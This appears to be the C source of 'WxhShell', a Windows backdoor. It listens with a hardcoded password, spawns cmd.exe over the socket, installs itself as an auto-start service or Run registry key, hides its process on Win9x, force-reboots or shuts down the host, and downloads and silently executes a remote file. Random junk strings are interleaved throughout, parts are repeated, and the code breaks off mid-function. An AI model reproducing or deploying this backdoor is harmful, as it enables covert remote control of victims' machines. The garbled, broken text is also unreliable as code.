5(}Qg9% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KDmzKOl g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K7
N)VG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i)[8dv G._E9 if (!NtQueryInformationProcess) return 0; oP 0ZJK&; LmA I vEr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1X45~ if(!hProcess) return 0; MGGc e52y}'L if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $sTvXf:g 7Hm/g CloseHandle(hProcess); `Y5{opG7- mEM/}]2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oD=6D9c? if(hProcess==NULL) return 0; (XDK&]U IxxA8[^V HMODULE hMod; @N'0:0Nb_ char procName[255]; {q}#
Sq unsigned long cbNeeded; C6neZng ly)b=ph& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "~uo4n~H G^ 2a<?Di CloseHandle(hProcess); wV,l }Xb- Gf|qc>j.b if(strstr(procName,"services")) return 1; // 以服务启动 nGdEJ nYF *f return 0; // 注册表启动 #P''+$5, } |k-IY]6 1hT!~' // 主模块 ]F]!>dKA int StartWxhshell(LPSTR lpCmdLine) |,G=k,?_p { OlV'#D
SOCKET wsl; V`7^v: BOOL val=TRUE; !_|rVg. int port=0; k\J 6WT struct sockaddr_in door; vMQvq9T} > 10pk if(wscfg.ws_autoins) Install(); .vbUv3NI p7YfOUo
k port=atoi(lpCmdLine); 51\N+ ]("5O V5 if(port<=0) port=wscfg.ws_port; KC`~\sYRN] Q;3v ]h_ WSADATA data; UQ ~7,D`=# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u,rieKYF o.Jq1$)~y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6a=Y_fma setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I'NE>!=Q door.sin_family = AF_INET; ;~ >E^0M door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^6Std
x_ door.sin_port = htons(port); *Y@)t*
-a +-|D$@8S if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \40d?N#D closesocket(wsl); M]Y72K^ return 1; 6}RRrYL7I } %ys-y?r pNHO;N[& if(listen(wsl,2) == INVALID_SOCKET) { >^ E closesocket(wsl); kr_!AW<.tz return 1; njk1x } y.LJ5K$&a Wxhshell(wsl); N`DLIv8i; WSACleanup(); eqL~h1^Co N9M''H*VS return 0; l9 |x7GB XgfaTX* } O;ty
k_yM FZEK-]h. // 以NT服务方式启动 rX*ATN VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M99gDN { PKx ewd DWORD status = 0; 0> 6;,pd" DWORD specificError = 0xfffffff; 3gn)q>Xj$ gyI(O>e serviceStatus.dwServiceType = SERVICE_WIN32; B3P#p^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; LE|*Je3a serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; as{^~8B serviceStatus.dwWin32ExitCode = 0; :LuzKCvBP serviceStatus.dwServiceSpecificExitCode = 0; Pw"o[8 serviceStatus.dwCheckPoint = 0; O@
GEl serviceStatus.dwWaitHint = 0; nVTCbV kJ JUu hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n>w/T" if (hServiceStatusHandle==0) return; WG{mg/\2(C ]J
t8]w status = GetLastError(); xF+a.gAIb if (status!=NO_ERROR) ;Ly(O'9 { Ef1R?< serviceStatus.dwCurrentState = SERVICE_STOPPED; \xH#X=J serviceStatus.dwCheckPoint = 0; "\'g2|A serviceStatus.dwWaitHint = 0; ^Fl6-|^~ serviceStatus.dwWin32ExitCode = status; -,;Iob56! serviceStatus.dwServiceSpecificExitCode = specificError; 1D0_k SetServiceStatus(hServiceStatusHandle, &serviceStatus); +b7}R7:AFH return; 8"M*,?.] } K$H>/*&'~ ,=9e]pQ serviceStatus.dwCurrentState = SERVICE_RUNNING; Dm=Em-ST6 serviceStatus.dwCheckPoint = 0; G n_AXN serviceStatus.dwWaitHint = 0; 7H-,:8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [\M=w7 } Y}bJN%M %G<!&E!0h // 处理NT服务事件,比如:启动、停止 0 gyg VOID WINAPI NTServiceHandler(DWORD fdwControl) +P7A`{Ae { T41&;?- switch(fdwControl) ;BEg"cm { m\h/D7zg case SERVICE_CONTROL_STOP: xb!h?F& serviceStatus.dwWin32ExitCode = 0; (O
N
\-* serviceStatus.dwCurrentState = SERVICE_STOPPED; <bwsK,C serviceStatus.dwCheckPoint = 0; ?
[?{X~uq serviceStatus.dwWaitHint = 0; yn0OPjH { eB:OvOol*^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); >A$J5B>d } EBY=ccGE{ return; !OJ@
=y`i case SERVICE_CONTROL_PAUSE: ,t+5(qi serviceStatus.dwCurrentState = SERVICE_PAUSED; S^@I4Z break; mGjxc} case SERVICE_CONTROL_CONTINUE: N#;k;Z'iL serviceStatus.dwCurrentState = SERVICE_RUNNING; r@&d88U: break; $XqfwlUu/4 case SERVICE_CONTROL_INTERROGATE: @)8QxI^3[ break; LF'M!C9| }; yJaQcGxE" SetServiceStatus(hServiceStatusHandle, &serviceStatus); wl{Fx+<^3 } U}xQUFT| ?"p:6%GFz // 标准应用程序主函数 =?`5n|A* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }}3*tn<6 { 7-M$c7S Vrf+~KO7 // 获取操作系统版本 PMJe6*(x/ OsIsNt=GetOsVer(); kO:iA0KUX GetModuleFileName(NULL,ExeFile,MAX_PATH); YC:>) 7@MGs2 // 从命令行安装 ;SzOa7 if(strpbrk(lpCmdLine,"iI")) Install(); n%w36_ &(fB+VNrOH // 下载执行文件 .,:700n+^ if(wscfg.ws_downexe) { Mj&f7IUO if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b9[KdVsT6^ WinExec(wscfg.ws_filenam,SW_HIDE); [_jTy;E } TqNEU<S/t %C=
{\]-2~ if(!OsIsNt) { wSp1ChS k // 如果时win9x,隐藏进程并且设置为注册表启动 "`DCXn#mB HideProc(); f[n#Eu} StartWxhshell(lpCmdLine); Y8I$JBO } A/W-'%+` else (lhbH]I if(StartFromService()) 0@rrY // 以服务方式启动
h:[PO6GdX StartServiceCtrlDispatcher(DispatchTable); |X9YVZC else K1Tq7/N // 普通方式启动 `zHtfox! StartWxhshell(lpCmdLine); eR(PY{ Urhh)i return 0; =5E G}@ } jNN$/ZWm I"E5XVC); /xjHzva^ w w$H=GF?" =========================================== ,TD@s$2x #F5O>9hA }XCHoB o/9(+AA> Hw34wQX
Tx35~Z`0 " \xk`o5/{ guv)[:cd; #include <stdio.h> ,MwwA@,9- #include <string.h> ZD1UMB0$4 #include <windows.h> g2 uc+p #include <winsock2.h> x%ZjGDF m #include <winsvc.h> I<*U^e #include <urlmon.h> dL>0"UN}- b0]y$*{j #pragma comment (lib, "Ws2_32.lib") H~+D2A #pragma comment (lib, "urlmon.lib") !`vm7FN"u xtKWh`[& #define MAX_USER 100 // 最大客户端连接数 3ug{1M3 #define BUF_SOCK 200 // sock buffer TuphCu+Oh #define KEY_BUFF 255 // 输入 buffer 4YkH;!M>ji
o@_pV #define REBOOT 0 // 重启 U]dz_%CRP #define SHUTDOWN 1 // 关机 "])X0z yM *5 FSq #define DEF_PORT 5000 // 监听端口 pB{QO4qn j_SRCm~: #define REG_LEN 16 // 注册表键长度 8^ ;[c #define SVC_LEN 80 // NT服务名长度 +bvY*^i 7|3Z+#|T // 从dll定义API ):eX* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *&>1A A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); St/Hv[H'[E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oh<[8S7]C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RNuOwZ1m ;Gxp'y // wxhshell配置信息 3a9Oj'd1M struct WSCFG { nH*U int ws_port; // 监听端口 cS,(HLO91 char ws_passstr[REG_LEN]; // 口令 zT0rvz1),M int ws_autoins; // 安装标记, 1=yes 0=no +o)S.a+7 char ws_regname[REG_LEN]; // 注册表键名 n.,\Z(l|0 char ws_svcname[REG_LEN]; // 服务名 Y_S^B)y char ws_svcdisp[SVC_LEN]; // 服务显示名 ["GC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 %MgQ. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?s(%3_h int ws_downexe; // 下载执行标记, 1=yes 0=no UNq!| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4xU[oaa char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~f2H@# !1!;}uzt }; G@h6>O ]i\D*,FfU // default Wxhshell configuration t/HMJ struct WSCFG wscfg={DEF_PORT, Uf{cUY,j_ "xuhuanlingzhe", QvK/31*QG 1, V{;Mh
u`+ "Wxhshell", |~k=:sSz{ "Wxhshell", BBnbXhxZ "WxhShell Service", * 4GJ< "Wrsky Windows CmdShell Service", qX`?4"4 "Please Input Your Password: ", x;lIw)Ti 1, =)"60R7{ "http://www.wrsky.com/wxhshell.exe", .Nr}V.?57 "Wxhshell.exe" rE[*iq,# }; p+#J;. O9oVx4= // 消息定义模块 83:m7; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Gr5TDiV0\ char *msg_ws_prompt="\n\r? for help\n\r#>"; Jg3}U j2By char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N%/Qc hu char *msg_ws_ext="\n\rExit."; B+eB=KL char *msg_ws_end="\n\rQuit."; g=Q#2/UQ< char *msg_ws_boot="\n\rReboot..."; x$I~y D char *msg_ws_poff="\n\rShutdown..."; /K<Xr[z~y char *msg_ws_down="\n\rSave to "; ^10*s,(uS? pq+Gsu1^ char *msg_ws_err="\n\rErr!"; j"HB[N char *msg_ws_ok="\n\rOK!"; ry3;60E\) i 4lR$]@ char ExeFile[MAX_PATH]; WZdA<<,:o int nUser = 0; 8(q4D K\5u HANDLE handles[MAX_USER]; zm\=4^X int OsIsNt; w<&Nn`V { ;);E SERVICE_STATUS serviceStatus; SQWwxFJ SERVICE_STATUS_HANDLE hServiceStatusHandle; EU
TTeFp beEdH> // 函数声明 k
uU,7<o int Install(void); ,d<wEB?\` int Uninstall(void); /!oi`8D int DownloadFile(char *sURL, SOCKET wsh); ${ad[hs int Boot(int flag); J %jfuj void HideProc(void); 0FsGqFt int GetOsVer(void); AF ZHS\ int Wxhshell(SOCKET wsl); [Nr6qxWg void TalkWithClient(void *cs); .VuZ= int CmdShell(SOCKET sock); (A\qZtnyl int StartFromService(void); 8},!t\j#] int StartWxhshell(LPSTR lpCmdLine); SC74r?NFA 8b!&TP~m1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !0`44Gbq VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9s6, &' Xoml // 数据结构和表定义 52/^>=t SERVICE_TABLE_ENTRY DispatchTable[] = ;$&&tEh) { ik_Ll| {wscfg.ws_svcname, NTServiceMain}, 724E(?>J {NULL, NULL} }E[S%W[ }; ;"
'`P[ 0!o&=Qh // 自我安装 =B4mi.;@i int Install(void) XUfj 0 { "]JE]n}Ulg char svExeFile[MAX_PATH]; v$p<6^kJ HKEY key; @fRB0m"3 strcpy(svExeFile,ExeFile); ?o$6w(]'' ~0>g 4
D. // 如果是win9x系统,修改注册表设为自启动
r75,mX if(!OsIsNt) { fBS;~;l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q?L-6]pg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fxXZ^#2wX RegCloseKey(key); 25t2tj@S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?W1(
@. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E).Nu RegCloseKey(key); L,p5:EW8. return 0; {tk42}8k } 5'?K(Jdmp } bT,]=h"0 } U
PGS else { acdaDY M '$n".,p // 如果是NT以上系统,安装为系统服务 lE`hC#m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R"];`F(# if (schSCManager!=0) gsGwf[X dJ { o>311(: SC_HANDLE schService = CreateService L0qo/6|C ( Z9cch-u~ schSCManager, @ T'!;) wscfg.ws_svcname, Dh BUMDoB wscfg.ws_svcdisp, .8uJ%'$) SERVICE_ALL_ACCESS, ce.'STm= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (\e,,C%; SERVICE_AUTO_START, W=&\d`><k SERVICE_ERROR_NORMAL, HtgVD~[] svExeFile, 8TD:~ee NULL, ;iy]mPd NULL, `8\_ ]w0 NULL, /P<RYA~ NULL, %L=roqz NULL _' Xt ); A?ma5h if (schService!=0) u^s{r`/ { =&U JFu CloseServiceHandle(schService); v2gK(&? CloseServiceHandle(schSCManager); e!d&
#ofw| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,6~c0]/ strcat(svExeFile,wscfg.ws_svcname); _]E"hr6a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0V{-5-. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,u-i9`B RegCloseKey(key); fCJ:QK! return 0; s+2\uMwf* } 8&qCH>Cf } t(?m!Z?tb CloseServiceHandle(schSCManager); ]QJLES } L}P<iB } |F-_YR T12?'JL^r return 1; n9<QSX&~< } e]!C
Aj7uS P+:FiVj@~ // 自我卸载 &1ASWllD int Uninstall(void) kn 5q1^ { T#DJQ"$ HKEY key; mLd=+&M UtIwrR[ if(!OsIsNt) { ;gcQ9L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ib /B!?/ RegDeleteValue(key,wscfg.ws_regname); 'vgw>\X( RegCloseKey(key); ?y>xC|kt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Se9I1~mX RegDeleteValue(key,wscfg.ws_regname); :aV(i.LW
RegCloseKey(key); O _yJR return 0; 9IIQon } <:-|>R". } @2v L'6 } sOa`T k else { #[vmS r50}j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >k<.bEx(A if (schSCManager!=0) @
eqVug { Us+|L |/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rV<yM$IA if (schService!=0) 2P`hdg
{ bU/5ug. if(DeleteService(schService)!=0) { ;eI,1
[_ CloseServiceHandle(schService); /0s1q CloseServiceHandle(schSCManager); x/{ return 0; BT: = } 8c`g{
*z CloseServiceHandle(schService); *LOpbf } H^_[nL CloseServiceHandle(schSCManager); .t.H(Q9 } 3;Kv9i<~LE } ,)hUL/r6 uhSRl~tn return 1; XE[~!
>' } {wih)XNY =>-:o:Cu{ // 从指定url下载文件 cF_ Y}C int DownloadFile(char *sURL, SOCKET wsh) (5]<t&M { \|BtgT *$b HRESULT hr; B_i@D?bTD char seps[]= "/"; |lm char *token; poGF char *file; lsU|xOB char myURL[MAX_PATH]; i=OPl char myFILE[MAX_PATH]; |!euty :: 6AKH0t|4 strcpy(myURL,sURL); <%#M&9d)E token=strtok(myURL,seps); F-k3'eyY while(token!=NULL) P6&@fwJ< { zGHP{a1O7 file=token; l3R`3@ token=strtok(NULL,seps); ;g?oU"Y M } JOS,>;;F4 |GM?4'2M. GetCurrentDirectory(MAX_PATH,myFILE); G&)A7WaC strcat(myFILE, "\\"); &?f{. strcat(myFILE, file); &%+}bt5 send(wsh,myFILE,strlen(myFILE),0); T~J6(," send(wsh,"...",3,0); GKu@8Ol-wu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z@>hN%{d+g if(hr==S_OK) wASgdGoy return 0; kzny4v[y else ?wt%e; return 1; $YSAD\a< )WF]v"t } r"d/9 [wWip1OR // 系统电源模块 coT|t
T int Boot(int flag) w&jyijk( { =hxj B*") HANDLE hToken; ;XNe:g.CR TOKEN_PRIVILEGES tkp; +[:"$?J Qz2Yw ` if(OsIsNt) { #56}RV1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Eqc&iS~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TCYjj:/ tkp.PrivilegeCount = 1; -lV]((I& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G7yCGT)vQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h}k)7 if(flag==REBOOT) { Eo
5p- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f=]+\0MQ return 0; Pc#8~t}2 } Ox7v*[x' else { "aIiW VQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) td%]l1 return 0; JV(qTb W } De%WT:v } NNLZ38BV7 else { :0|]cHm if(flag==REBOOT) { -CtLL_ I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) secD
`] return 0; _TfG-Ae } |=L~>G else { jq:FDyOAW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F$QN>wPpM return 0; B{$4s8XU } j&,,~AZm } A;7p 0O<g)%Vz> return 1; xpCzx=n3.m } +EjH9;gx Q ]]}8l2 // win9x进程隐藏模块 <@6K( void HideProc(void) 3>YG { SxMmy
Vp{! Ft8> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A:PQIcR;V if ( hKernel != NULL ) Wd#r-&!6j { /tR@J8pV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "| cNY_$&s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,e$]jC<sv2 FreeLibrary(hKernel); FDBj<uXfM| } ts%XjCN[ 7s@%LS return; WP[h@#7< } qp3J/(F 1Z%^U ? // 获取操作系统版本 B64L>7\>` int GetOsVer(void) ,<R/jHZP9 { 0NrUB OSVERSIONINFO winfo; soh)IfZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @yiAi:v@ GetVersionEx(&winfo); H~IR:WOw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `>KB8SY:qK return 1; Y'7f"W else JAJo^}}{b return 0; r LQBaT7t# } CeQL8yJ; 2yZ/'}Mw // 客户端句柄模块 dz@L}b* int Wxhshell(SOCKET wsl) jo-jPYH T { g}
\$9 SOCKET wsh; .<&o, D struct sockaddr_in client; aVkgE> DWORD myID; NwPGH=V l2H-E&'= while(nUser<MAX_USER) JrlDTNJj' { 4M4Y2fBH int nSize=sizeof(client); DP{kin"4I wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K8`Jl=}z%& if(wsh==INVALID_SOCKET) return 1; [ u7p:?WDW F/,K8<|r> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4)MKYhm if(handles[nUser]==0) =)_9GO closesocket(wsh); A+Uil\% else -OV:y],- nUser++; 6[3oOO:uo } \yt-_W=[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sl,X*[HGd (ndXz return 0; u'Ja9m1 } 3ht>eaHi n^vL9n_N // 关闭 socket S:!gj2q9| void CloseIt(SOCKET wsh) c#o(y6 { LpRl!\FY$ closesocket(wsh); #9{N[t nUser--; NqyKR&; ExitThread(0); [R
V_{F:' } ,36AR|IO) Mn$w_Z? // 客户端请求句柄 K+2k}Hx6J void TalkWithClient(void *cs) 1,UeVw/ { I
ACpUB V9aGo# SOCKET wsh=(SOCKET)cs; iA*^`NMaT char pwd[SVC_LEN]; ^na8d's: char cmd[KEY_BUFF]; ]?KTw8j} char chr[1]; m#
y` int i,j; _cPGS=Ew ^3~+| A98M while (nUser < MAX_USER) { 2J7=
O^$? bm/pLC6%. if(wscfg.ws_passstr) { ;Q YUiR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0_nY70B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tx+!D'> //ZeroMemory(pwd,KEY_BUFF); "rxhS;
R1> i=0; /mS|Byx while(i<SVC_LEN) { kpF")0qr %LI[+#QE // 设置超时 p@B/S(Xi fd_set FdRead; `N;}Gf-' struct timeval TimeOut; ( X(61[Lu FD_ZERO(&FdRead); 5:S=gARz FD_SET(wsh,&FdRead); q{4W@Um- TimeOut.tv_sec=8; BY*{j&^ TimeOut.tv_usec=0; `Wc"Ix0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZiR },F/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z=\y)'b etnq{tE5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )y~FeKh pwd=chr[0]; %@C(H%obWd if(chr[0]==0xd || chr[0]==0xa) { V2Iqk]V%y pwd=0; FKYPkFB break; +Cs[]~ } u.\FNa i++; #kGgzO } |l \! WG~|sLg // 如果是非法用户,关闭 socket hY*ylzr83 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qKt*<KGeY } kHWW\?O 'YQVf]4P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {@1;kG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sR~D3- pFB^l|\ ] while(1) { 'gBGZ?^N!U [w*t(A ZeroMemory(cmd,KEY_BUFF); s&Bk@a8 ^nO0/nqz] // 自动支持客户端 telnet标准 @=i-*U j=0; N@qP}/}8 while(j<KEY_BUFF) { <@F.qMl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bQ%6z}r cmd[j]=chr[0]; $ ,:3I*}be if(chr[0]==0xa || chr[0]==0xd) { k4n4BL cmd[j]=0; CBkI!
In2 break; dM-qd` } egXHp<bqw j++; `EBI$;! } %-nYK3 _cRCG1CJ // 下载文件 st_.~m!/ if(strstr(cmd,"http://")) { \*a7o GyH> send(wsh,msg_ws_down,strlen(msg_ws_down),0); E=*82Y=B if(DownloadFile(cmd,wsh)) xX !`0T7Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); x]6-r`O7r else |\}&mBR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w"PnN } a-\M)}T else { o[
Je Kl\g{>{Uz switch(cmd[0]) { I ~U1vtgp )7aUDsu>4 // 帮助 *\-$.w)k case '?': { CI#6r8u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JJQS7,vG break; mBwM=LAZ } _YK66cS3E/ // 安装 ~vb yX case 'i': { 9 HiH6f^5 if(Install()) 3BZa}Q_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h]+UK14m else *jf%Wj)0M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 21T#NYfew break; *+i1m`6Q } W>E/LBpE4 // 卸载 \ 4`:~c case 'r': { 5wE+p<-KX if(Uninstall()) JI3x^[(Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); #NyfE|MKBC else
DXa!"ZU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i-jrF6& break; ,<CFjtelO } 6*aU^#Hz6 // 显示 wxhshell 所在路径 SzTa[tJ+ case 'p': { 2FVO@D char svExeFile[MAX_PATH]; "y9]>9:$- strcpy(svExeFile,"\n\r"); X7~^D[X strcat(svExeFile,ExeFile); R9&3QRW| send(wsh,svExeFile,strlen(svExeFile),0); 4@mK:v% break; i^SPNs= } FUO 9jX // 重启 w-j^jU><3 case 'b': { L-9AJk>V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c%+_~iBUN if(Boot(REBOOT)) o#Viz: send(wsh,msg_ws_err,strlen(msg_ws_err),0); u]z87#4 else { zk;'`@7 closesocket(wsh); 5Ic'6AIz ExitThread(0); @ *<`*W } 'PqKb%B| break; M*-]<!))7 } +:_;K_h // 关机 KXiStwS case 'd': { 1a]P+-@u[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KSYHG if(Boot(SHUTDOWN)) W%wc@.P send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$*JkwPQ} else { *UZd!a) closesocket(wsh); <\'aUfF v ExitThread(0); QPyHos` } dJ9v/k_ break; .WVIdVO7 } r
[E4/?_ // 获取shell 'Ul^V case 's': { lD#S:HX CmdShell(wsh); xE5VXYU closesocket(wsh); b{Bef*`/ ExitThread(0); Djr/!j break; Vo;0i$ } tuslkOE# // 退出 20
Z/Y\ case 'x': { i*)BFV_- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0F%/R^mw CloseIt(wsh); [9;[g~;E%m break; 4J{W8jX } D=jtXQF // 离开 7$JOIsM case 'q': { ET[>kn^# send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3De(:c)@ closesocket(wsh); dAr=X4LE WSACleanup(); {
V$}qa{P exit(1);
.Q!p Q"5 break; *AG01# ZF } J(Fk@{!F.* } FvXpqlp } n#S?fsQN :I2spBx // 提示信息 "H\R*\-0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B.4Or] } 98Y1-Z^ . } RDOV+2K oi7Y?hTj return; LYke\/ md } =bOMtQ] 7?ILmYBw // shell模块句柄 0C4Os p int CmdShell(SOCKET sock) AbL(F#{ { b=kY9!GN,v STARTUPINFO si; L>n^Q:M ZeroMemory(&si,sizeof(si)); %RIlu[J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zXW;W$7V4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dn48?A[v PROCESS_INFORMATION ProcessInfo; ~IFafAO& char cmdline[]="cmd"; |)OC1=As CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #!C|~= return 0; 5^Ny6t } OyQ[}w3o| ~cf)wrP // 自身启动模式 K?u:-QX^ int StartFromService(void) &],O\TAul { Jow{7@FG typedef struct
Q">wl { 7|k2~\@q DWORD ExitStatus; c1xX)cF DWORD PebBaseAddress; }Xb|Ur43 DWORD AffinityMask; l%
p4.CX DWORD BasePriority; N>w+YFM ULONG UniqueProcessId; e>Dux ULONG InheritedFromUniqueProcessId; E %?>
%h } PROCESS_BASIC_INFORMATION; QN;GMX5& r_MP[]f|0 PROCNTQSIP NtQueryInformationProcess; +4F; m_G6 _^D -nk? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$S/zh$)0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y]g5S-G `('NH]^ HANDLE hProcess; g,B@*2Uj PROCESS_BASIC_INFORMATION pbi; } x
KvN em2Tet HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JyePI:B&)j if(NULL == hInst ) return 0; >#y1(\e W~5gTiBZ] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ab[V->>% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s$~H{za NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `)NTJc$): 65GC7 >[ if (!NtQueryInformationProcess) return 0; G+tzp&G@ SduUXHk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f\;f&GI if(!hProcess) return 0; v}<z_i5/C. y\:,.cZ+TQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p7L6~IN Jw^h<z/Ux CloseHandle(hProcess); |!J_3*6$>* y!x-R!3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]d*O>Pm if(hProcess==NULL) return 0; p
